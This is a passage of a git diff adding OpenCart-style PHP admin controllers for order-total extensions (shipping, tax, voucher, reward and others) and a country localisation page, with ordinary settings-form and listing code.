+ $data['action'] = $this->url->link('extension/total/lightshopsets', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_lightshopsets_status'])) {
+ $data['total_lightshopsets_status'] = $this->request->post['total_lightshopsets_status'];
+ } else {
+ $data['total_lightshopsets_status'] = $this->config->get('total_lightshopsets_status');
+ }
+
+ if (isset($this->request->post['total_lightshopsets_sort_order'])) {
+ $data['total_lightshopsets_sort_order'] = $this->request->post['total_lightshopsets_sort_order'];
+ } else {
+ $data['total_lightshopsets_sort_order'] = $this->config->get('total_lightshopsets_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/lightshopsets', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/lightshopsets')) { var_dump($this->user->hasPermission('modify', 'extension/total/lightshopsets'));
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+}
diff --git a/public/admin/controller/extension/total/low_order_fee.php b/public/admin/controller/extension/total/low_order_fee.php
new file mode 100644
index 0000000..5defd89
--- /dev/null
+++ b/public/admin/controller/extension/total/low_order_fee.php
@@ -0,0 +1,95 @@
+load->language('extension/total/low_order_fee');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_low_order_fee', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/low_order_fee', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/low_order_fee', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_low_order_fee_total'])) {
+ $data['total_low_order_fee_total'] = $this->request->post['total_low_order_fee_total'];
+ } else {
+ $data['total_low_order_fee_total'] = $this->config->get('total_low_order_fee_total');
+ }
+
+ if (isset($this->request->post['total_low_order_fee_fee'])) {
+ $data['total_low_order_fee_fee'] = $this->request->post['total_low_order_fee_fee'];
+ } else {
+ $data['total_low_order_fee_fee'] = $this->config->get('total_low_order_fee_fee');
+ }
+
+ if (isset($this->request->post['total_low_order_fee_tax_class_id'])) {
+ $data['total_low_order_fee_tax_class_id'] = $this->request->post['total_low_order_fee_tax_class_id'];
+ } else {
+ $data['total_low_order_fee_tax_class_id'] = $this->config->get('total_low_order_fee_tax_class_id');
+ }
+
+ $this->load->model('localisation/tax_class');
+
+ $data['tax_classes'] = $this->model_localisation_tax_class->getTaxClasses();
+
+ if (isset($this->request->post['total_low_order_fee_status'])) {
+ $data['total_low_order_fee_status'] = $this->request->post['total_low_order_fee_status'];
+ } else {
+ $data['total_low_order_fee_status'] = $this->config->get('total_low_order_fee_status');
+ }
+
+ if (isset($this->request->post['total_low_order_fee_sort_order'])) {
+ $data['total_low_order_fee_sort_order'] = $this->request->post['total_low_order_fee_sort_order'];
+ } else {
+ $data['total_low_order_fee_sort_order'] = $this->config->get('total_low_order_fee_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/low_order_fee', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/low_order_fee')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/reward.php b/public/admin/controller/extension/total/reward.php
new file mode 100644
index 0000000..eac07db
--- /dev/null
+++ b/public/admin/controller/extension/total/reward.php
@@ -0,0 +1,73 @@
+load->language('extension/total/reward');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_reward', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/reward', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/reward', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_reward_status'])) {
+ $data['total_reward_status'] = $this->request->post['total_reward_status'];
+ } else {
+ $data['total_reward_status'] = $this->config->get('total_reward_status');
+ }
+
+ if (isset($this->request->post['total_reward_sort_order'])) {
+ $data['total_reward_sort_order'] = $this->request->post['total_reward_sort_order'];
+ } else {
+ $data['total_reward_sort_order'] = $this->config->get('total_reward_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/reward', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/reward')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/shipping.php b/public/admin/controller/extension/total/shipping.php
new file mode 100644
index 0000000..ef7251d
--- /dev/null
+++ b/public/admin/controller/extension/total/shipping.php
@@ -0,0 +1,79 @@
+load->language('extension/total/shipping');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_shipping', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/shipping', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/shipping', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_shipping_estimator'])) {
+ $data['total_shipping_estimator'] = $this->request->post['total_shipping_estimator'];
+ } else {
+ $data['total_shipping_estimator'] = $this->config->get('total_shipping_estimator');
+ }
+
+ if (isset($this->request->post['total_shipping_status'])) {
+ $data['total_shipping_status'] = $this->request->post['total_shipping_status'];
+ } else {
+ $data['total_shipping_status'] = $this->config->get('total_shipping_status');
+ }
+
+ if (isset($this->request->post['total_shipping_sort_order'])) {
+ $data['total_shipping_sort_order'] = $this->request->post['total_shipping_sort_order'];
+ } else {
+ $data['total_shipping_sort_order'] = $this->config->get('total_shipping_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/shipping', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/shipping')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/sub_total.php b/public/admin/controller/extension/total/sub_total.php
new file mode 100644
index 0000000..e22f696
--- /dev/null
+++ b/public/admin/controller/extension/total/sub_total.php
@@ -0,0 +1,73 @@
+load->language('extension/total/sub_total');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_sub_total', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/sub_total', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/sub_total', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_sub_total_status'])) {
+ $data['total_sub_total_status'] = $this->request->post['total_sub_total_status'];
+ } else {
+ $data['total_sub_total_status'] = $this->config->get('total_sub_total_status');
+ }
+
+ if (isset($this->request->post['total_sub_total_sort_order'])) {
+ $data['total_sub_total_sort_order'] = $this->request->post['total_sub_total_sort_order'];
+ } else {
+ $data['total_sub_total_sort_order'] = $this->config->get('total_sub_total_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/sub_total', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/sub_total')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/total/tax.php b/public/admin/controller/extension/total/tax.php
new file mode 100644
index 0000000..89d3060
--- /dev/null
+++ b/public/admin/controller/extension/total/tax.php
@@ -0,0 +1,73 @@
+load->language('extension/total/tax');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_tax', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/tax', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/tax', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_tax_status'])) {
+ $data['total_tax_status'] = $this->request->post['total_tax_status'];
+ } else {
+ $data['total_tax_status'] = $this->config->get('total_tax_status');
+ }
+
+ if (isset($this->request->post['total_tax_sort_order'])) {
+ $data['total_tax_sort_order'] = $this->request->post['total_tax_sort_order'];
+ } else {
+ $data['total_tax_sort_order'] = $this->config->get('total_tax_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/tax', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/tax')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/total.php b/public/admin/controller/extension/total/total.php
new file mode 100644
index 0000000..3a24787
--- /dev/null
+++ b/public/admin/controller/extension/total/total.php
@@ -0,0 +1,73 @@
+load->language('extension/total/total');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_total', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/total', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/total', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_total_status'])) {
+ $data['total_total_status'] = $this->request->post['total_total_status'];
+ } else {
+ $data['total_total_status'] = $this->config->get('total_total_status');
+ }
+
+ if (isset($this->request->post['total_total_sort_order'])) {
+ $data['total_total_sort_order'] = $this->request->post['total_total_sort_order'];
+ } else {
+ $data['total_total_sort_order'] = $this->config->get('total_total_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/total', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/total')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/voucher.php b/public/admin/controller/extension/total/voucher.php
new file mode 100644
index 0000000..0d7820b
--- /dev/null
+++ b/public/admin/controller/extension/total/voucher.php
@@ -0,0 +1,87 @@
+load->language('extension/total/voucher');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_voucher', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/voucher', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/voucher', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_voucher_status'])) {
+ $data['total_voucher_status'] = $this->request->post['total_voucher_status'];
+ } else {
+ $data['total_voucher_status'] = $this->config->get('total_voucher_status');
+ }
+
+ if (isset($this->request->post['total_voucher_sort_order'])) {
+ $data['total_voucher_sort_order'] = $this->request->post['total_voucher_sort_order'];
+ } else {
+ $data['total_voucher_sort_order'] = $this->config->get('total_voucher_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/voucher', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/voucher')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function install() {
+ // Register the event triggers
+ $this->load->model('setting/event');
+
+ $this->model_setting_event->addEvent('voucher', 'catalog/model/checkout/order/addOrderHistory/after', 'extension/total/voucher/send');
+ }
+
+ public function uninstall() {
+ // delete the event triggers
+ $this->load->model('setting/event');
+
+ $this->model_setting_event->deleteEventByCode('voucher');
+ }
+}
diff --git a/public/admin/controller/localisation/country.php b/public/admin/controller/localisation/country.php
new file mode 100644
index 0000000..913cdd7
--- /dev/null
+++ b/public/admin/controller/localisation/country.php
@@ -0,0 +1,438 @@
+load->language('localisation/country');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/country');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/country');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/country');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_country->addCountry($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/country');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/country');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_country->editCountry($this->request->get['country_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/country');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/country');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $country_id) {
+ $this->model_localisation_country->deleteCountry($country_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/country/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/country/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['countries'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $country_total = $this->model_localisation_country->getTotalCountries();
+
+ $results = $this->model_localisation_country->getCountries($filter_data);
+
+ foreach ($results as $result) {
+ $data['countries'][] = array(
+ 'country_id' => $result['country_id'],
+ 'name' => $result['name'] . (($result['country_id'] == $this->config->get('config_country_id')) ? $this->language->get('text_default') : null),
+ 'iso_code_2' => $result['iso_code_2'],
+ 'iso_code_3' => $result['iso_code_3'],
+ 'edit' => $this->url->link('localisation/country/edit', 'user_token=' . $this->session->data['user_token'] . '&country_id=' . $result['country_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_iso_code_2'] = $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . '&sort=iso_code_2' . $url, true);
+ $data['sort_iso_code_3'] = $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . '&sort=iso_code_3' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $country_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($country_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($country_total - $this->config->get('config_limit_admin'))) ? $country_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $country_total, ceil($country_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/country_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['country_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['country_id'])) {
+ $data['action'] = $this->url->link('localisation/country/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/country/edit', 'user_token=' . $this->session->data['user_token'] . '&country_id=' . $this->request->get['country_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['country_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $country_info = $this->model_localisation_country->getCountry($this->request->get['country_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($country_info)) {
+ $data['name'] = $country_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['iso_code_2'])) {
+ $data['iso_code_2'] = $this->request->post['iso_code_2'];
+ } elseif (!empty($country_info)) {
+ $data['iso_code_2'] = $country_info['iso_code_2'];
+ } else {
+ $data['iso_code_2'] = '';
+ }
+
+ if (isset($this->request->post['iso_code_3'])) {
+ $data['iso_code_3'] = $this->request->post['iso_code_3'];
+ } elseif (!empty($country_info)) {
+ $data['iso_code_3'] = $country_info['iso_code_3'];
+ } else {
+ $data['iso_code_3'] = '';
+ }
+
+ if (isset($this->request->post['address_format'])) {
+ $data['address_format'] = $this->request->post['address_format'];
+ } elseif (!empty($country_info)) {
+ $data['address_format'] = $country_info['address_format'];
+ } else {
+ $data['address_format'] = '';
+ }
+
+ if (isset($this->request->post['postcode_required'])) {
+ $data['postcode_required'] = $this->request->post['postcode_required'];
+ } elseif (!empty($country_info)) {
+ $data['postcode_required'] = $country_info['postcode_required'];
+ } else {
+ $data['postcode_required'] = 0;
+ }
+
+ if (isset($this->request->post['status'])) {
